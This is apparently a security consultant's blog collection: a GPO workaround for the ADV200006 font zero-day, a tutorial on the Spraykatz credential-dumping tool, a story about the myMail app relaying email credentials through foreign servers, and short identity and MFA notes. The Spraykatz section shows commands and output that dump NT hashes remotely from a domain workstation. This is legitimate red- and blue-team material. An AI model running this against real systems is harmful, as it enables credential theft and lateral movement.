Intervention au CLUSIF sur l’évolution des Identités dans le monde de l’entreprise

Retrouvez mon intervention lors d’une réunion CLUSIF lors d’une journée consacrée à la Gestion des Identités. Journée riche en échange, l’objectif de cette intervention était de refaire un panorama des problématiques liées aux identités dans les organisations professionnelles.

Zero-day ADV200006 – How to use GPOs to mitigate your Windows risks

What is the problem?

As you may know, a new zero-day vulnerability (ADV200006) was raised by the security community. This vulnerability targets Windows systems with Adobe Acrobat installed on it, so as you can imagine, it is a very large impact. The problem occurs if the user opens some infected PDF documents or if the user uses thumbnails in the preview pane to visualize a PDF document.

ADV200006 is using Adobe Type Manager which is managed by the atmfd.dll file. The atmfd.dll file is a kernel module provided by Windows. Using a specially infected document opened or view it in the Windows preview pane, an unauthenticated remote attacker may be able to execute additional code using this Adobe Type Manager Library with kernel privileges on a vulnerable system.

If you are using the sandbox feature on Windows 10, the impact of the attack is limited – but if you are using Windows 10 without sandbox feature activated or a previous version of Windows on your workstations, it will be a huge risk for your organization.

Unfortunately, Microsoft didn’t provided any fix (date is today 2020/03/28) for the moment – for sure it will – in the meantime you must deploy a workaround to change your workstations configuration and be able to wait for the Microsoft patch.

You can read more details about ADV200006 using this Microsoft link:

How to mitigate this in a corporate environment?

You can use different mitigation methods, but there are existing some variations depending which Windows versions you are using on your corporate network. So, I choose to describe a mitigation method which will work on your different operating systems from Vista to 10.

Create the first GPO with the user part of the mitigation settings

Open your GPMC console.

Right click on the « Group Policy Objects » folder and select the New option:

For example, name your GPO « GPO_SECU_zeroD_ADV2000068_U-settings ».

Right click on the new GPO and select the Edit… option:

Go to User Configuration | Policies | Administrative Templates | Windows Components – Select File Explorer section:

Set to Enabled these two GPO options: « Turn off display of thumbnails and only display icons » + « Turn off the display of thumbnails and only display icons on network folders« :

So, at the end you should have this:

Close you GPO and link this GPO with all the automation office user accounts in your organization (in a nutshell, all the user accounts which can be used on your workstation).

Create the second GPO with the computer part of the mitigation settings

Important: you must use the GPMC tool from a workstation, not from a server, because the service we will want to control doesn’t have the same name on a Windows Server operating system.

Open your GPMC console.

Right click on the « Group Policy Objects » folder and select the New option:

For example, name your GPO « GPO_SECU_zeroD_ADV2000068_C-settings ».

Right click on the new GPO and select the Edit… option:

Go to Computer Configuration | Policies | Windows Settings | Security Settings – Select System Services section:

Double click on the WebClient service in the right panel and select the following options:

So, at the end you should have this:

Close you GPO and link this GPO with all the workstation computer accounts in your organization.

What is next?

Now you must follow and check when Microsoft will release a patch for this zero-day vulnerability. Have a look on this link: or follow the your habitual security gurus.

When you will get the patch from Microsoft, and after you will apply it, you will be able to revert these two GPOs.

Stay safe.

Spraykatz : a fantastic tool for Blueteam or Redteam who want to evaluate lateral movement or privilege escalation weakness on Active Directory environments

Introduction to Spraykatz

As you may know, password hash dump is a very useful method to perform lateral movement or privilege escalation on a network. If you are using Active Directory, this method will be used by a lot of modern malware which include some code pieces from very known security tools like Mimikatz for example.

In this article, we will explorer Spraykatz (v0.9.6) a magnificent tool written by @lydericlefebvre which can help in different situations:

  • BlueTeam: you want to evaluate how much sensible you are in term of password hash dump, and detect if some malwares or attackers can use this method to find some privilege accounts traces on your workstations
  • RedTeam: you want to explore the workstations and find a privilege account to use during your escalation
  • Security Officer, CISO: you want to demonstrate to your internal people how malware can use password hashes in order to educate your people about security issues

Spraykatz is a tool able to retrieve credentials on Windows machines and large Active Directory environments. It simply tries to procdump machines and parse dumps remotely in order to avoid detections by antivirus softwares as much as possible.

Spraykatz uses slighlty modified parts of the following projects:

  • Mimikatz
  • Impacket
  • Pypykatz
  • Pywerview
  • Sysinternals
  • hackndo

How to install Spraykatz

For this article I was using a Kali distro, but you can use ubuntu as well (I tested it on both distros and worked like a charm).

Let’s be root:

sudo su

Get information about your system updates and update the index file for future updates:

root@kali:~# apt update

Reading package lists… Done

Building dependency tree

Reading state information… Done

All packages are up to date.

Ok, here I already have everything updated on my Kali system.

If you don’t have already the last version of python, git and nmap, update it:

root@kali:/tmp/mimipenguin-master# apt install -y python3.6 python3-pip git nmap

Reading package lists… Done

Building dependency tree

Reading state information… Done

Note, selecting ‘python3.6-cups’ for regex ‘python3.6’

Note, selecting ‘python3.6-cairo’ for regex ‘python3.6’

Note, selecting ‘python3.6-2to3’ for regex ‘python3.6’

Note, selecting ‘python3.6-urwid’ for regex ‘python3.6’

Note, selecting ‘python3.6-smbc’ for regex ‘python3.6’

Note, selecting ‘libpython3.6-stdlib’ for regex ‘python3.6’

Note, selecting ‘python3.6-crypto’ for regex ‘python3.6’

Note, selecting ‘python3-cairo’ instead of ‘python3.6-cairo’

Note, selecting ‘python3-crypto’ instead of ‘python3.6-crypto’

Note, selecting ‘python3-cups’ instead of ‘python3.6-cups’

Note, selecting ‘python3-smbc’ instead of ‘python3.6-smbc’

Note, selecting ‘python3-urwid’ instead of ‘python3.6-urwid’

git is already the newest version (1:2.20.1-2).

git set to manually installed.

nmap is already the newest version (7.70+dfsg1-6kali1).

nmap set to manually installed.

python3-cairo is already the newest version (1.16.2-1+b1).

python3-crypto is already the newest version (2.6.1-9+b1).

python3-cups is already the newest version (1.9.73-2+b1).

python3-pip is already the newest version (18.1-5).

python3-smbc is already the newest version (

python3-urwid is already the newest version (2.0.1-2+b1).

0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Ok, here I already have everything updated on my Kali system.

Now, our system is ready to install Spraykatz from Github:

root@kali:~# git clone –recurse-submodules

Cloning into ‘spraykatz’…

remote: Enumerating objects: 29, done.

remote: Counting objects: 100% (29/29), done.

remote: Compressing objects: 100% (27/27), done.

remote: Total 383 (delta 8), reused 5 (delta 1), pack-reused 354

Receiving objects: 100% (383/383), 21.51 MiB | 761.00 KiB/s, done.

Resolving deltas: 100% (207/207), done.

Submodule ‘submodules/impacket’ ( registered for path ‘submodules/impacket’

Cloning into ‘/root/spraykatz/submodules/impacket’…

remote: Enumerating objects: 17060, done.

remote: Total 17060 (delta 0), reused 0 (delta 0), pack-reused 17060

Receiving objects: 100% (17060/17060), 5.64 MiB | 824.00 KiB/s, done.

Resolving deltas: 100% (13026/13026), done.

Submodule path ‘submodules/impacket’: checked out ‘d6b5bd4e2f3fe3e9fa252dcd2a1dd76faa0c5395’

Now Spraykatz is cloned on your system.

Go to the Spraykatz folder:

root@kali:~# cd spraykatz

And use pip to install packages from the index (requirements.txt):

root@kali:~/spraykatz# pip3 install -r requirements.txt

Requirement already satisfied: pyCryptodomex in /usr/lib/python3/dist-packages (from -r requirements.txt (line 1)) (3.6.1)

Requirement already satisfied: pyasn1 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (0.4.2)

Requirement already satisfied: pyOpenSSL in /usr/lib/python3/dist-packages (from -r requirements.txt (line 3)) (19.0.0)

Collecting pypykatz>=0.3.0 (from -r requirements.txt (line 4))

Downloading (271kB)

100% |████████████████████████████████| 276kB 749kB/s

Requirement already satisfied: lxml in /usr/lib/python3/dist-packages (from -r requirements.txt (line 5)) (4.3.2)

Collecting minidump>=0.0.11 (from pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading (62kB)

100% |████████████████████████████████| 71kB 1.3MB/s

Collecting minikerberos>=0.0.11 (from pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading (96kB)

100% |████████████████████████████████| 102kB 402kB/s

Collecting msldap>=0.1.1 (from pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading (40kB)

100% |████████████████████████████████| 40kB 1.1MB/s

Collecting aiowinreg>=0.0.1 (from pypykatz>=0.3.0->-r requirements.txt (line 4))


Collecting winsspi>=0.0.3 (from pypykatz>=0.3.0->-r requirements.txt (line 4))


Requirement already satisfied: asn1crypto in /usr/lib/python3/dist-packages (from minikerberos>=0.0.11->pypykatz>=0.3.0->-r requirements.txt (line 4)) (0.24.0)

Collecting asciitree (from msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4))


Collecting socks5line>=0.0.3 (from msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4))


Collecting aiocmd (from msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4))


Requirement already satisfied: ldap3<2.5.2 in /usr/lib/python3/dist-packages (from msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4)) (2.5.1)

Collecting prompt-toolkit>=2.0.9 (from aiocmd->msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading (344kB)

100% |████████████████████████████████| 348kB 711kB/s

Collecting wcwidth (from prompt-toolkit>=2.0.9->aiocmd->msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4))


Building wheels for collected packages: asciitree

Running bdist_wheel for asciitree … done

Stored in directory: /root/.cache/pip/wheels/1d/d9/58/9808b306744df0208fccc640d3d9952a5bc7468502d42897d5

Successfully built asciitree

Installing collected packages: minidump, minikerberos, asciitree, socks5line, wcwidth, prompt-toolkit, aiocmd, msldap, aiowinreg, winsspi, pypykatz

Successfully installed aiocmd-0.1.2 aiowinreg-0.0.2 asciitree-0.3.3 minidump-0.0.11 minikerberos-0.0.11 msldap-0.2.5 prompt-toolkit-3.0.2 pypykatz-0.3.2 socks5line-0.0.3 wcwidth-0.1.7 winsspi-0.0.3

Now Spraykatz is fully installed!

How to use Spraykatz

Spraykatz is very simple to use. To use it, you will need to determine:

  • Which account to use to perform the exploration – here you need to use privilege account (i.e local Admin privilege) on the target system, you may had discovered this type of account from different methods, or even worse, the company is providing regular user accounts which are local Admin on the workstation.
  • Which machine or which machines range you want to target.

In this document example, we will use the following settings:

  • Active Directory domain: win2019.priv
  • Account which has local Admin privilege on the target computer: dark
  • Account password: demo_spraykatz
  • Target computer:
root@kali:~/spraykatz# ./ -u dark@win2019.priv -p demo_spraykatz -t

[#] Hey, did you read the code?

[+] Listing targetable machines into networks provided. Can take a while…

[+] Checking local admin access on targets…

[~] is pwnable!

[+] Exec procdump on targets. Be patients…

[~] ProcDumping Be patient…

[#] Uploading procdump to…

[#] Executing procdump on…

[#] Creating dump’s file descriptor on…

[#] Parsing’s dump remotely…


         domain: WIN10CLI02

        username: blackhat

         nthash: 329153f560eb329c0e1deea55e88a1e9


         domain: WIN2019

        username: WIN10CLI02$

         nthash: fcdc607666845acba172b460939f8fa9


         domain: win2019.priv

        username: WIN10CLI02$

        password: 31d47f5578cd912fd4e6d88a1bc86be46d7d37c2ffd05251b1c98cdd77e71cc37f08504087f18e572162655604adac497b156fdcb9b20b56f0ec5fe3c64b42b96cfbf6e26b5e8017d215479a2d456cf902e36ddad8dae64319f3d9fa79c1dee884c887834af056e459bf3ce3094dad4e1004985518b112e4dbfe24b4eb90a37248d71ef3a79507f4ad68d4b1a233c19448a56f06763079405b08d6e300a5a4e9eb11dc219ca52c5d3edead8fd1ef3ee7b211cbf6af66cc45ed6f090e4f1eb7968cf5cfffdbe06e919440b51056b5586869fefea7296a4c437c2faf240b90f86a4ebdf450fd2b8990061fd58abeef6e76


         domain: WIN2019

        username: han

         nthash: 329153f560eb329c0e1deea55e88a1e9


         domain: WIN2019

        username: root

         nthash: 329153f560eb329c0e1deea55e88a1e9

[#] Closing dump file on…

[#] Deleting procdump on…

[#] Deleting dump on…

[+] Credentials logged into: /root/spraykatz/misc/results/creds.txt

[+] Exiting Gracefully…

On the target system, we can retrieve the nthash for the following accounts:

  • Users accounts who already opened a session on the target system:

  • Computer account for the target system:

These are some additional information about how to use SprayKatz:

  • Mandatory arguments

  • Optional arguments

Spraykatz usefull information

Download page from GitHub

GitHub page:

Author Twitter account

Très bonne vidéo sur l’usage d’Active Directory pendant des attaques organisées

Si vous vous intéressez aux principes d’attaques et d’exploit, vous trouverez dans cette vidéo des informations importantes vous permettant de mieux comprendre comment les groupes cyber-criminels utilisent Active Directory pour se répandre dans les organisations, et bien sur quelques trucs et astuces pour mieux vous protégez.

Le présentateur prend en exemple le fonctionnement du malware Ryuk et explique notamment la notion de DomainGrabber, permettant de mieux appréhender comment la première partie d’un malware est en fait un code latent réalisant la reconnaissance – l’infection par Ryuk n’étant que l’étape finale.

Contes et légendes informatiques inachevées – Livre 1 « Sécurité Informatique : toujours se méfier des applications mobiles gratuites… »

Contes et légendes informatiques inachevées – Livre 1 « Sécurité Informatique : toujours se méfier des applications mobiles gratuites… »

Je m’en vais vous conter une bien étrange histoire… Mais je vais vous donner la morale de l’histoire au début de celle-ci : se méfier, toujours se méfier des services ou applications gratuits.

Chapitre 1 : un appel au secours

Je suis à Genève, chez un de mes clients quand je reçois l’appel d’un ami qui me dit avoir un problème avec son compte email. Mon ami Cyril est arbitre de handball, et suivant mon conseil il s’est créé une adresse email dédiée pour dialoguer avec la FFHB. Il utilise une adresse en et consulte ses emails depuis son PC ou depuis son mobile Android. Il n’est pas très féru d’informatique, mais aucun problème pour lui quant au paramétrage d’une boite email sur un mobile, il fait lui-même office de référent informatique auprès de sa petite famille !

Il m’explique que sa boite email est bloquée, qu’il n’arrive plus à se connecter. Etant à l’étranger, et ne pouvant pas passer rapidement chez lui, il m’envoie son login+mdp, oui je sais ce n’est pas bien, mais cet ami c’est la famille, donc pas de problème de confidentialité entre nous. Je teste rapidement depuis mon PC, et effectivement l’interface m’indique que la boite a été bloquée par mesure de sécurité car une activité suspecte a été détectée. Dans ce cas il faut suivre une procédure de déblocage avec un envoi de code unique part SMS sur le numéro de GSM fourni à la création de la boite email. Comme je suis chez un client et que je ne suis pas trop disponible, je lui dis que nous voyons tout cela à mon retour. Nous convenons de nous rappeler, et je vaque à mes activités sécurité chez mon client. 2 jours après, retour en France.

Chapitre 2 : la hotline personnelle

Le Samedi suivant je rappel Cyril pour commencer mon service de hotline personnelle (tout bon consultant informatique sert de hotline à ses amis, ses enfants, ses parents, ses cousins, les amis des cousins, les amis des amis, etc.) – je commence par me connecter à sa boite email via mon navigateur et débute la procédure de déblocage habituelle : envoi de code par SMS, etc. J’en profite pour ajouter quelques paramètres de sécurité sur son compte – au bout de 5 minutes, tout fonctionne. Il teste de son côté, pareil, tout est ok.

Futuroscope Yes GIF - Find & Share on GIPHY

Chapitre 3 : Le marché aux tulipes

Une fois la situation stabilisée, je l’interroge, as-tu changé quelque chose qui pourrait expliquer le blocage de ton compte ? il m’assure que non. Je me connecte alors sur le résumé d’activité de son compte pour vérifier si quelqu’un n’aurait pas « pirater » (mot qui ne veut rien dire mais que tout le monde comprend) sa boite email.

Les surprises commencent.

Je visualise la dernière connexion depuis mon PC :

Et je vois aussi d’autres connexions depuis son téléphone mobile après le déblocage (il a en effet testé depuis son PC et depuis son mobile) – et je vois que la connexion depuis son mobile a été réalisée depuis… les Pays-Bas !

Nous faisons plusieurs tests, et nous constatons que via usage du mobile, plusieurs adresses IP sont utilisées, elles commencent toutes par 185.30.x.x et semblent provenir des Pays-Bas.

Mon premier réflexe est de penser que l’algorithme de localisation des IPs à perdu les pédales chez Microsoft (cela m’est déjà arrivé il y a un an chez un client utilisateur d’Azure AD) je vérifie donc le range IP et sa provenance éventuelle, effectivement range IP associé aux Pays-Bas :

Je commence sérieusement à me poser des questions…

Cyril me confirme que son opérateur GSM est Free Mobile, je me dis « tiens curieux Free Mobile utilise des IP à l’étranger », je vérifie alors qu’elles sont les IP attribuées à Free Mobile :

Rien au Pays-Bas… et surtout des adresses qui commencent par 37.x.x.x. Je commence à y perdre mon Latin (Rosa, Rosae, etc…)

Chapitre 4 : Le pot aux roses du gratuit

Je demande à Cyril de vérifier l’adresse IP publique qu’il a sur son mobile actuellement, et là surprise, il s’agit bien d’une adresse Free…commençant par 37.

Bon reprenons, quand Cyrill se connecte à depuis son PC, aucun problème, adresse IP Française. Quand Cyril se connecte depuis son Android via Free Mobile, adresse IP aux Pays-Bas sur alors qu’il a bel et bien une adresse IP publique Free sur son mobile.

Je me calme… et réfléchi deux minutes… et là bingo ! La seule chose qui est « entre » l’OS mobile et, c’est… l’application mobile qu’il utilise pour se connecter à sa boite email. Je lui demande quelle application mobile il utilise, réponse myMail. Il me dit « c’est super, c’est simple et c’est gratuit »

Bon là mon sang se glace, il a dit le mot clé maudit « gratuit ».

Par expérience, rien n’est gratuit, si effectivement cette application est gratuite et est aussi parfaite que semble le dire Cyril, il y a un loup, c’est évident. Cela me rappel un consultant IAM tout juste sorti du moule qui ne comprenait pas pourquoi je préférais acheter le browser LDAP LEX pour travailler chez les clients plutôt que d’utiliser des trucs opensource depuis sourceforge… Il comprendra avec l’expérience.

Je commence quelques recherches sur Internet, et là je comprends…Je vous conseille la lecture de ce document du ministère de l’éducation:

Pour résumé, myMail est en fait un service hébergé sur des serveurs aux Pays-Bas et en Russie (déjà cela sent bon l’embrouille) – quand vous installez l’application depuis Google Play ou depuis Apple Store et paramétrez ensuite cette application avec vos identifiants (login+mdp) disons en utilisant IMAP, vos identifiants ainsi que votre configuration n’est pas stockée sur votre mobile mais sur les fameux serveurs à l’étranger.

La connexion IMAP se fait alors entre le serveur (Aux Pays-Bas ou en Russie) et votre service de messagerie, puis via HTTPS, le service web des serveurs poussent ou tirent les emails vers ou depuis votre application mobile myMail.

Cela signifie que le service myMail monnaie ensuite vos identifiants à des personnes tierces…ou à minima vend des informations sur vous et votre usage de l’email.

Cyril utilise cette application depuis longtemps, ces identifiants devaient etre stockés aux Pays-bas, et ce depuis le début. Donc pour, comportement normal. Je remonte dans les logs de connexion et surprise vois une connexion depuis la Russie, et la date correspond au blocage par sécurité du compte de Cyril. Le service web sur les Pays-Bas a basculé (pour incident ou maintenance) sur des serveurs Russes pendants quelques heures, ceci a été détecté et bloqué par

La recommandation est alors de :

  1. Changer vos identifiants sur myMail en mettant un mot de passe bidon
  2. Faire un test de connexion pour bien vérifier que cela ne fonctionne plus et que le service n’a plus accès à vos emails
  3. Désinstaller cette application

Pour terminer, Cyril installe l’application mobile Microsoft Outlook et la paramètre. Fin de l’embrouille.

Chapitre 5 : Le gratuit n’existe pas

Déjà il ne faut pas confondre deux choses : Open Source et Gratuit.

Travaillant dans la sécurité informatique, je suis un gros consommateur de solutions Open-Source (bloodhound, metaxploit, empire, etc.) – J’utilise aussi des produits de sécurité non-open-source, compilés, mais qui sont payants et dont je connais parfaitement l’éditeur. Peu m’importe le prix, si cela a suffisamment de valeur, il faut juste regarder le rapport qualité/prix – le prix seul ne veut rien dire.


Ne jamais utiliser d’applications gratuites non-open-source – sauf si cela vient d’un éditeur établi – car là c’est assurément le début des problèmes…


Cette petite histoire (vraie) nous rappelle aussi une chose : la recherche, les tests, la curiosité sont la base de la connaissance. Comment aurais-je pu imaginer tomber sur quelque chose de semblable pour un simple problème de connexion à une boite email servant à des arbitres de HandBall…

NIST: document décrivant la technologie émergente de gestion des identités par la BlockChain

Le NIST vient de mettre en ligne un document (en Draft) proposant une description des concepts de gestion de identités par la BlockChain. Au delà du document, les nombreuses références citées (que l’on retrouve à la fin du document) sont une mine d’or pour chaque personne voulant se documenter sur ces sujets.

La description de l’étude est disponible [ ICI ]

Le document est directement disponible [ ICI ]


Tout ce que vous avez voulu savoir sur Azure AD + MFA sans avoir jamais osé le demander !

Je suis tombé un peu par hasard sur une série d’articles faisant un focus sur la fonction MFA en liaison avec Azure AD. Ces articles abordent des thèmes avec une grosse profondeur technique sous la forme une question / une réponse.

Exemples de question:

=> Is there any equivalent feature in the Azure MFA Server for  » Allow users to remember multi-factor authentication on devices they trust  » that is available in Azure MFA?

=> Is there a way for us to migrate users [from our Azure MFA Server] to Azure MFA so there is no action required from the user’s perspective?

=> Can you/How do you secure on-prem OWA with MFA?

C’est franchement très riche et doit être lu par tous les spécialistes Azure AD + les personnes travaillant dans la sécurité en général et sur le MFA en particulier.

Ce qui est extrêmement intéressant avec le format, c’est que:

1/ cela permet de gagner en profondeur technique sur le sujet

2/ cela ouvre l’esprit sur des problématiques techniques auxquelles nous ne pensons pas

3/ cela permet de se projeter sur l’ensemble des usages possibles


La liste des liens vers les articles des Q&A disponibles pour l’instant :

Round 1:

Round 2:

Round 3:

Round 4:

Round 5:

Round 6:

Round 7:

Round 8:

A consommer sans modération aucune !


U.S. CyberSecurity organizations blueprint

I recently had a discussion with one of my customers, who is French. We were talking about the different security frameworks from the different countries. When i started to explained all the contains which are directly or indirectly provided by the U.S. Government, i wasn’t able to be  crytal clear… So i decided to create a simple blueprint which provides a map of the different organizations, the relationships and what is provided to the community. if you want to download it, you get it from: US_cybersecurity_organizations_V1.0

I will try to update it from a regular basis. Sylvain.